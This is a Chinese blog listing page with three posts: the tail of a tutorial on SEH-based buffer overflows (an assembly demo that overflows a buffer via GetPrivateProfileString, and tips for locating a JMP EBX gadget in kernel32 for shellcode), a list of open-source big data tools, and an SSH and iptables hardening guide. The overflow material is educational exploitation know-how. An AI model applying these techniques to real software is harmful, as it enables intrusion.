    invoke    GetPrivateProfileString,offset    lpAppName,offset,lpKeyName,offset lpDefault,ADDR lpReturnedString,2249,offset lpFileName    
    invoke    MessageBox,0,addr lpReturnedString,addr lpReturnedString,1
    ret 
testov    endp
    
start:
    ASSUME fs:NOTHING
    invoke  MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h ;下断点    
    push    offset Final_Handler    ;压入正常的出错处理程序入口地址
    push    FS:[0]                  ;把前一个TIB的地址压入
    mov    fs:[0],esp
    call    testov    
    pop     fs:[0]                     ;还原FS:[0]     
    
Final_Handler:   ;由于溢出了下面的代码不会被执行.
       invoke       MessageBox,0,addr szMsgOK,addr szCap,30h
       invoke       ExitProcess,0
       mov       eax,1
       ret
end start

-----------------end-------------

1如何更好的在内存中找JMP EBX的代码:
     在softice中执行S 10:0 L FFFFFFFF FF D3就可以了,但实际上这样找到的
地址可能不能执行代码.所以用下面的方法:
   map32 kernel32(在当前进程中查找映射的kernel32 DLL的信息)   
一般有如下显示:
  Owner        Obj Name    Obj#    Address        Size     TYPE
kernel32    .text        0001    001b:77b61000    0005d1ae code RO
......
  然后
S 77b61000 L 5d1ae FF D3
如果显示如下说明找到了:
  Pattern Found at 0023:77e61674 ....

2)关于缓冲区的大小的问题:
  利用SEH的办法就起码要设成1000个字节多,你的shellcode才不会被不知哪来的数据覆盖!
这道菜czy做的不好吃:(我感觉理解起来有些困难~!因为关于缓冲区溢出自己接触的太少,不过好东西要保留的,以后回过头看!
第四道菜:用 SEH 技术实现 API Hook
这一部分不想展开了,给大家一个链接吧。

::URL::http://www.luocong.com/articles/show_article.asp?Article_ID=25

最后作为结束语说说的缺点吧:)一个人只有正视自己的缺点才能不断地进步!呵呵
在 SEH异常处理链中最后一个被装载的SEH异常处理程序总是被第一个调用,想想如果自己花了一个星期才写出来一个异常处理程序,能够完美处理所有异常,并 希望异常全部由你来处理,但很不幸,比如你调用了一个外部模块,而这个模块自己安装了一个ugly的seh处理例程,他的动作是只要有异常发生就简单地终 止程序,哈哈,那就死悄悄了。又比如你想在你的加壳程序里面加密目标程序代码段,然后发生无效指令异常的时候用你自己安装的处理句柄来解密代码段继续执 行,听起来这的确是一个好主意,但遗憾的是大多数C/C++代码都用_try{}_except{}块来保证其正确运行,而这些异常处理例程是在你壳注册 的例程之后安装的,因而也就在链的前面,无效指令一执行,首先是C/C++编译器本身提供的处理例程或者程序其他的异常处理例程来处理,可能简单结束程序 或者....
好累!~~~~~~
写了两天,错了,应该是剪接+消化了两天,有很多的程序和文字是从hume,老罗,还有czy那里“剽窃”的:)希望高手们不要生气~~天下书籍一大抄。你们的必将是我的,当然我的也会共享给你们的。呵呵,现在还不行,级别不够啊。
转自:
http://blog.csdn.net/toberooter/article/details/308365
posted @ 2013-03-21 15:43 小果子 阅读(7264) | 评论 (0)编辑 收藏

越来越多的公司开始聚焦于大数据技术领域,而开源恰恰是大数据技术的灵魂。以下将为您介绍九大引人注目的开源大数据技术,请拭目以待:

1.Apache Hadoop

 

Apache hadoop是 一个开源的分布式计算框架,最初由Doug为支持其开源Web搜索引擎Nutch所创立。通过集成MapReduce技术,Hadoop将大数据分布到多 个数据节点上进行处理。Hadoop遵循Apache 2.0许可证,可以轻松处理结构化、半结构化和非结构化数据,一举成为现在非常流行的大数据解决方案,

2.R语言 

R语言是一种开源编程语言,专门为数据统计和数据可视化而设计。R语言最初由Ross Ihaka和Robert Gentleman在奥克兰大学设计出来,之后迅速成为大数据领域的重要工具。R语言遵循GPL许可证。

3.Cascading

Cascading是 一个针对Java开发人员的应用框架,可以快速、轻松地基于Apache Hadoop开发数据分析和数据管理应用。Cascading是Hadoop的抽象层,可以屏蔽MapReduce的复杂性,支持任何基于JVM的编程语 言在Hadoop集群上执行数据处理任务。Cascading最初由Chris Wensel开发,用于作为MapReduce的替代API。Cascading遵循GNU许可证,一般用于广告定位、日志分析、Web数据挖掘和ETL 应用。

4.Scribe

Scribe于2008年发布,是一个由Facebook开发的日志聚合服务器软件,用于实时从大量服务器汇集日志数据。Scribe遵循Apache 2许可证,扩展性极佳,每天可应对数百亿日志记录的挑战。

5.ElasticSearch

ElasticSearch是一款由Shay Banon开发,遵循Apache许可证的开源搜索服务器。ElasticSearch基于分布式计算,对于实时搜索可以提供很好的可扩展性解决方案。许多公司已经对ElasticSearch表示认可,比如StumbleUpon和Mozilla。

6.Apache HBase

Apache HBase是一个使用Java语言编写的、以谷歌BigTable技术为基础的开源非关系型列式分布数据库,可运行在HDFS文件系统之上。HBase提供了很好的存储容错能力和快速访问大量稀疏文件的能力。HBase遵循Apache 2许可证。

7.Apache Cassandra

Cassandra是由Facebook开发的另一个开源NoSQL数据库,遵循Apache 2许可证。由于对HBase的喜爱,Facebook开始逐渐放弃使用Cassandra,但许多公司,如Netflix依然使用Cassandra数据库为其后端流媒体服务提供动力。

8.MongoDB

MongoDB是 一个基于分布式文件存储的数据库,由C++语言编写。旨在为Web应用提供可扩展的高性能数据存储解决方案。MongoDB是非常流行的JSON文档式 NoSQL数据库,许多公司都非常认同MongoDB。MTV Networks、craigslist和迪斯尼互动传媒集团,纽约时报以及Etsy都是MongoDB的客户。MongoDB遵循GNU Affero通用许可证,语言驱动遵循Apache许可证,10gen公司提供商业化的MongoDB许可证。

9.Apache CouchDB

CouchDB也 是一个流行的开源NoSQL数据库,它以文档方式(JSON)存储数据。CouchDB使用JavaScript语言作为查询语言,集成 MapReduce技术。IBM Lotus Notes的开发人员Damien Katz在2005年构建了CouchDB,用于大规模对象的数据存储系统。CouchDB遵循Apache 2许可证,英国广播公司(BBC)使用CouchDB存储动态内容,瑞士瑞信银行(Credit Suisse)的商品部也采用了它。

posted @ 2013-03-19 09:59 小果子 阅读(588) | 评论 (0)编辑 收藏

SSH配置:

1、修改vi /etc/ssh/sshd_config,根据模板将要修改的参数注释去掉并修改参数值:

Port 22 指定SSH连接的端口号,安全方面不建议使用默认22端口

Protocol 2,1 允许SSH1和SSH2连接,建议设置成 Protocal 2

其他参数根据自己的需要进行调整。配置方法详见: man ssh_config

2、修改hosts.deny 在最后面添加一行:

sshd:All

3、修改hosts.allow 在最后面添加一行:

sshd:All

如果为了安装可以限制访问的IP,设置如下:

sshd:192.168.0.101

sshd:192.168.0.102

上述配置表示只允许101和102的服务器进行SSH连接

4、启动SSH

/etc/init.d/sshd start


# chkconfig --list |grep sshd
sshd            0:off   1:off   2:on    3:on    4:on    5:on    6:off
#chkconfig --level 2345 sshd on

iptables
# Generated by iptables-save v1.4.7 on Tue Feb  7 19:06:20 2012
*filter
:INPUT ACCEPT [100:10222]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [75:7016]
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
COMMIT
# Completed on Tue Feb  7 19:06:20 2012


(1)屏蔽所有端口 
(2)把SSH的缺省端口设置为56565 
(3)把56565、80、3306端口打开 
(4)把3306端口设置为只允许本机访问
 
如果没有安装iptables的话,运行命令yum install iptables完成iptables安装
 
初始化安装以后,显示为以下信息:
 
[root@tp ~]# iptables -L -n
 
Chain INPUT (policy ACCEPT)
 
target prot opt source destination
 
Chain FORWARD (policy ACCEPT)
 
target prot opt source destination
 
Chain OUTPUT (policy ACCEPT)
 
target prot opt source destination
(1)屏蔽所有端口
 
[root@tp ~]# iptables -F
[root@tp ~]# iptables -X
[root@tp ~]# iptables -P INPUT DROP
[root@tp ~]# iptables -P OUTPUT DROP
[root@tp ~]# iptables -P FORWARD DROP
当超出了IPTABLES里filter表里的两个链规则 (INPUT,FORWARD)时,不在这两个规则里的数据包怎么处理呢,那就是DROP(放弃),有同学喜欢配置OUTPUT为accpet,因为如果 被入侵,对方可以使用服务器做为中转,发起攻击,也会产生大量的数据包,所以这里配置为DROP
 
(2)把SSH的缺省端口设置为56565
 
在修改ssh端口时,应先把要修改的端口号56565加入白名单
 
[root@tp ~]# iptables -A INPUT -p tcp --dport 56565 -j ACCEPT
[root@tp ~]# iptables -A OUTPUT -p tcp --sport 56565 -j ACCEPT
[root@tp ~]# /etc/rc.d/init.d/iptables save
[root@tp ~]# service iptables restart
再修改端口号
 
[root@linux ~]# vi /etc/ssh/sshd_config
将"#Port 22"修改为"Port 56565"
 
重启ssh服务
 
[root@linux ~]# /etc/init.d/sshd restart
Stopping sshd: [ OK ]
Starting sshd: [ OK ]
如果想看看sshd端口号是否修改成功的话,可以使用 netstat -an 命令查看一下或退出ssh使用新端口号登陆尝试。
 
(3)把80端口打开
 
[root@tp ~]# iptables -A INPUT -p tcp --dport 80 -j ACCEPT
[root@tp ~]# iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
[root@tp ~]# /etc/rc.d/init.d/iptables save
[root@tp ~]# service iptables restart
(4)把3306端口设置为只允许本机访问
 
[root@tp ~]#/sbin/iptables -A INPUT -p tcp -s 127.0.0.1 --dport 3306 -j ACCEPT
[root@tp ~]#/sbin/iptables -A OUTPUT -p tcp -s 127.0.0.1 --dport 3306 -j ACCEPT

http://gzjhj88.blog.51cto.com/1049760/629563
http://www.redicecn.com/html/qita/20110331/243.html
http://wenku.baidu.com/view/94fadf1252d380eb62946d95.html

http://www.bugbeta.cn/?p=495
http://gzjhj88.blog.51cto.com/1049760/629563
http://gzjhj88.blog.51cto.com/1049760/315021
posted @ 2013-02-28 11:15 小果子 阅读(411) | 评论 (0)编辑 收藏
仅列出标题
共58页: 1 2 3 4 5 6 7 8 9 Last